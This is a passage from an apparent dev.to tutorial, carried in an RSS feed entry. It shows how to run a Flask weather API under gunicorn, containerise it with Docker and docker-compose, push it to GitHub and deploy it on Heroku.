    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;environ&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;IS_CONTAINER&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;true&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;debug&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;environ&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;PORT&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;5000&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
        &lt;span class="n"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;0.0.0.0:&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Worry about what this does later 😉.&lt;/p&gt;

&lt;p&gt;One more quick thing: instead of storing the API key for the weather API in our code, let's change it to read it from the system's environment instead. Change line 12 of run.py to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;owm&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;OWM&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;environ&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;OPEN_WEATHER_API_KEY&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Before we run our app now, we'll need to specify the API key in our environment. You can do that a few ways, but for the purpose of being able to start and stop the app for debugging, you should call the following command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;OPEN_WEATHER_API_KEY&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;YOUR_API_KEY_HERE
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now, create a new file at the root of the project directory called "server.py" with the following contents:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;run&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;app&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;__main__&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now our app can run both the old way, just using "python run.py", but also using gunicorn.&lt;/p&gt;

&lt;p&gt;Let's try using gunicorn to see how to run the app with a "production-grade" server.&lt;/p&gt;

&lt;p&gt;We can specify the pip dependencies for our app in a requirements.txt file that pip knows how to read. Create the following requirements.txt that includes gunicorn:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;flask==1.1.2
pyowm==3.0.0
gunicorn
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then install the requirements:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pip &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; requirements.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then start the app like so:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gunicorn &lt;span class="nt"&gt;--bind&lt;/span&gt; 0.0.0.0:5000 server:app
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This tells gunicorn to run server.py, and run the Flask app we created on line 3 of run.py.&lt;/p&gt;

&lt;p&gt;You can visit a weather url in your browser like before and see that the server is working.&lt;/p&gt;

&lt;h3&gt;
  
  
  Creating an Image
&lt;/h3&gt;

&lt;p&gt;Go ahead and install &lt;a href="https://www.docker.com/get-started" rel="noopener noreferrer"&gt;Docker Desktop&lt;/a&gt;. Then come back here and continue.&lt;/p&gt;

&lt;p&gt;Now that we have the capability to run a production server, we need to package up all these steps in a thing called an "image" using Docker. This definition of how to build our server will live in a file called a "Dockerfile."&lt;/p&gt;

&lt;p&gt;The Dockerfile contains a list of instructions telling Docker how to build an "image" for us. An image is an artifact that is used to create a container for our app. You can reuse an image to create multiple clones (i.e., multiple containers) that could be deployed on many machines (so that our app could be on servers close to many regions of the world, for example).&lt;/p&gt;

&lt;p&gt;Let's create a Dockerfile (simply name the file "Dockerfile" with no extension) at the base of our project folder with the following first line:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight docker"&gt;&lt;code&gt;&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="s"&gt; python:alpine3.7&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This first instruction tells Docker we want to create our image from another image that already exists, python:alpine3.7. There's thousands of images out on Docker's registry, but this one happens to already have Python installed on it, as well as some minimum dependencies for us to work with.&lt;/p&gt;

&lt;p&gt;Next, let's write the instructions for Docker to install our app's requirements:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight docker"&gt;&lt;code&gt;&lt;span class="k"&gt;WORKDIR&lt;/span&gt;&lt;span class="s"&gt; /app&lt;/span&gt;
&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="s"&gt; requirements.txt .&lt;/span&gt;
&lt;span class="k"&gt;RUN &lt;/span&gt;pip &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; requirements.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We create an "app" directory, copy our requirements.txt file to it, and install the requirements.&lt;/p&gt;

&lt;p&gt;Then, let's copy our app's files to the image:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight docker"&gt;&lt;code&gt;&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="s"&gt; run.py server.py ./&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Finally, let's expose an argument to set our API key, and write the command we want to execute to run the app:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight docker"&gt;&lt;code&gt;&lt;span class="k"&gt;ARG&lt;/span&gt;&lt;span class="s"&gt; OPEN_WEATHER_API_KEY&lt;/span&gt;
&lt;span class="k"&gt;EXPOSE&lt;/span&gt;&lt;span class="s"&gt; 5000&lt;/span&gt;
&lt;span class="k"&gt;CMD&lt;/span&gt;&lt;span class="s"&gt; gunicorn --bind 0.0.0.0:$PORT server:app&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Build the Image and Create a Container Locally
&lt;/h3&gt;

&lt;p&gt;Let's make sure our image works by building it and running locally before we try deploying it somewhere.&lt;/p&gt;

&lt;p&gt;We can create a definition for how to run a container from the image with a "docker-compose" file. Create "docker-compose.yml" in the root of the project directory with the following:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;version&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;3.8'&lt;/span&gt;
&lt;span class="na"&gt;services&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;app&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
        &lt;span class="na"&gt;build&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;.&lt;/span&gt;
        &lt;span class="na"&gt;ports&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
           &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;5000:5000"&lt;/span&gt;
        &lt;span class="na"&gt;env_file&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;.env&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This tells Docker that we want to build the image using the Dockerfile at the root of the directory, and that we want to expose port 5000 from the container to our system's port 5000.&lt;/p&gt;

&lt;p&gt;It also specifies that it should use the environment variables from a .env file. Let's create ".env" at the root of our project's directory with the following:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PORT=5000
OPEN_WEATHER_API_KEY=YOUR_API_KEY_HERE
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now the magic can finally happen. With Docker Desktop installed and running, try out the following command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker-compose up
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With that simple command, you should see Docker go straight to work building the image, and then starting up a container. &lt;/p&gt;

&lt;p&gt;When stuff stops being output to the terminal, try visiting a weather url again, and it should be successful!&lt;/p&gt;

&lt;h2&gt;
  
  
  Deploy to Heroku
&lt;/h2&gt;

&lt;p&gt;Wow, you've made it so far in this article. We're almost at the finish line. Everything's culminated to this moment.&lt;/p&gt;

&lt;p&gt;Time to deploy an app to the web.&lt;/p&gt;

&lt;p&gt;Since we have our app ready to be deployed anywhere where Docker is supported, we have huge flexibility in options. But the most popular solutions from Google, Amazon, and Microsoft tend to involve a lot more setup and usually the attachment of billing/credit card information. Gross.&lt;/p&gt;

&lt;p&gt;Instead, we can use my personal favorite service for hackathons, Heroku, to deploy our backend app.&lt;/p&gt;

&lt;h3&gt;
  
  
  Sign up for an account
&lt;/h3&gt;

&lt;p&gt;Go to heroku.com and sign up for an account. I'm sure you'll figure it out 😇.&lt;/p&gt;

&lt;h3&gt;
  
  
  Create an app
&lt;/h3&gt;

&lt;p&gt;From Heroku's main dashboard, use the dropdown on the right to create a new app.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8r4jqmnwq6sj2ybzt04r.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8r4jqmnwq6sj2ybzt04r.png" alt="Selecting " width="800" height="114"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Selecting "Create new app" from the Heroku dashboard&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Enter any name you want for the app, then click "Create app."&lt;/p&gt;
&lt;h3&gt;
  
  
  Define Heroku Build
&lt;/h3&gt;

&lt;p&gt;With our app created, Heroku makes it very simple to deploy.&lt;/p&gt;

&lt;p&gt;First, we need to add a heroku.yml file in the root of our app's directory:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;build&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;docker&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
        &lt;span class="na"&gt;web&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Dockerfile'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The config tells Heroku that it should be creating and deploying a Docker container based on our Dockerfile.&lt;/p&gt;

&lt;p&gt;Now, let's take a side track to push our code to GitHub.&lt;/p&gt;

&lt;h3&gt;
  
  
  Publish code to GitHub
&lt;/h3&gt;

&lt;p&gt;If you don't already have a GitHub account, create one at github.com.&lt;/p&gt;

&lt;p&gt;Then, from GitHub's homepage, create a new repository using the "+" icon in the top right, and selecting "New repository."&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fh4f4hw66p6ri99qypol3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fh4f4hw66p6ri99qypol3.png" alt="The " width="800" height="108"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;The "New respository" button on GitHub's front page&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;On the next page, name the repository whatever you want, and click "Create repository."&lt;/p&gt;

&lt;p&gt;GitHub will then show you some command line instructions for initializing your repo. In the directory where you app is located, run the following modification:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"venv&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;.env&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;.vscode&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;__pycache__"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; .gitignore
git init
git add &lt;span class="nb"&gt;.&lt;/span&gt;
git commit &lt;span class="nt"&gt;-m&lt;/span&gt; &lt;span class="s2"&gt;"first commit"&lt;/span&gt;
git branch &lt;span class="nt"&gt;-M&lt;/span&gt; main
git remote add origin YOUR_GITHUB_REPOSITORY_URL
git push &lt;span class="nt"&gt;-u&lt;/span&gt; origin main
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Tell Heroku to Behave
&lt;/h3&gt;

&lt;p&gt;Now, you'd think Heroku would respect that &lt;code&gt;heroku.yml&lt;/code&gt; file we just defined, right?&lt;/p&gt;

&lt;p&gt;Nope! We have to be very stern and use their CLI to set our build as a "container" one.&lt;/p&gt;

&lt;p&gt;Install and log into the Heroku CLI:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;brew tap heroku/brew &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; brew &lt;span class="nb"&gt;install &lt;/span&gt;heroku
heroku login
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then set the stack of your app to "container":&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;heroku git:remote &lt;span class="nt"&gt;-a&lt;/span&gt; YOUR_APP_NAME
heroku stack:set container
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Set the OpenWeather API key
&lt;/h3&gt;

&lt;p&gt;Back in Heroku, we need to set up the environment like we did for our local machine in the .env file.&lt;/p&gt;

&lt;p&gt;Click the Settings for the project, then click Reveal Config Vars.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5phlc0zgutmdy4syqqig.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5phlc0zgutmdy4syqqig.png" alt="The config vars section for a Heroku app" width="800" height="391"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;The config vars section for a Heroku app&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Set the key of a config var to "OPEN_WEATHER_API_KEY", and the value to your API key. Then click "Hide Config Vars" to complete setting the key.&lt;/p&gt;

&lt;h3&gt;
  
  
  Connect GitHub and Deploy
&lt;/h3&gt;

&lt;p&gt;I hope you're excited, because this is where it all comes together!&lt;/p&gt;

&lt;p&gt;Our final step is to connect our repository to our Heroku app. On your Heroku app dashboard, click the Deploy tab, then in the "Deployment method" section, click GitHub and follow the prompts to authorize GitHub for Heroku.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmd35gsi3uivqathysxvz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmd35gsi3uivqathysxvz.png" alt="GitHub deployment method button" width="800" height="335"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;GitHub deployment method button&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;In the "Connect to GitHub" section, search for your repository and click "Connect".&lt;/p&gt;

&lt;p&gt;If you want, you can use the "Enable Automatic Deploys" button that appears to enable every commit to your main branch to kick off a build.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0hrzr1phupaj8tij0jds.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0hrzr1phupaj8tij0jds.png" alt="The deploy control options" width="800" height="463"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;The deploy control options&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;For now, let's manually deploy a build by clicking "Deploy Branch"!&lt;/p&gt;

&lt;p&gt;The status of your deployment will immediately appear in the Manual deploy section. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Faqd3mbmiyjdm8fahcd90.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Faqd3mbmiyjdm8fahcd90.png" alt="Heroku shows the status of your build" width="800" height="359"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Heroku shows the status of your build&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;When it's complete, you'll be conveniently given a "View" button to see your live API! Click it and you should see a familiar greeting...&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmk2yu3jkclyb14nnx4y4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmk2yu3jkclyb14nnx4y4.png" alt="A wild View button appears. Finally!" width="800" height="310"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;A wild View button appears. Finally!&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;At a breakneck pace, you've learned the bare essentials to make edits to a web app with guardrails and debugging capabilities from VSCode, and deploy using Docker and Heroku. &lt;/p&gt;

&lt;p&gt;There's a bunch more to learn by playing around yourself in the various tools presented here. If you're having trouble getting set up or understanding something in this article, feel free to discuss below and I'll make updates as needed.&lt;/p&gt;

&lt;p&gt;Good luck and happy hacking!&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>python</category>
      <category>hacktoberfest</category>
    </item>
  </channel>
</rss>
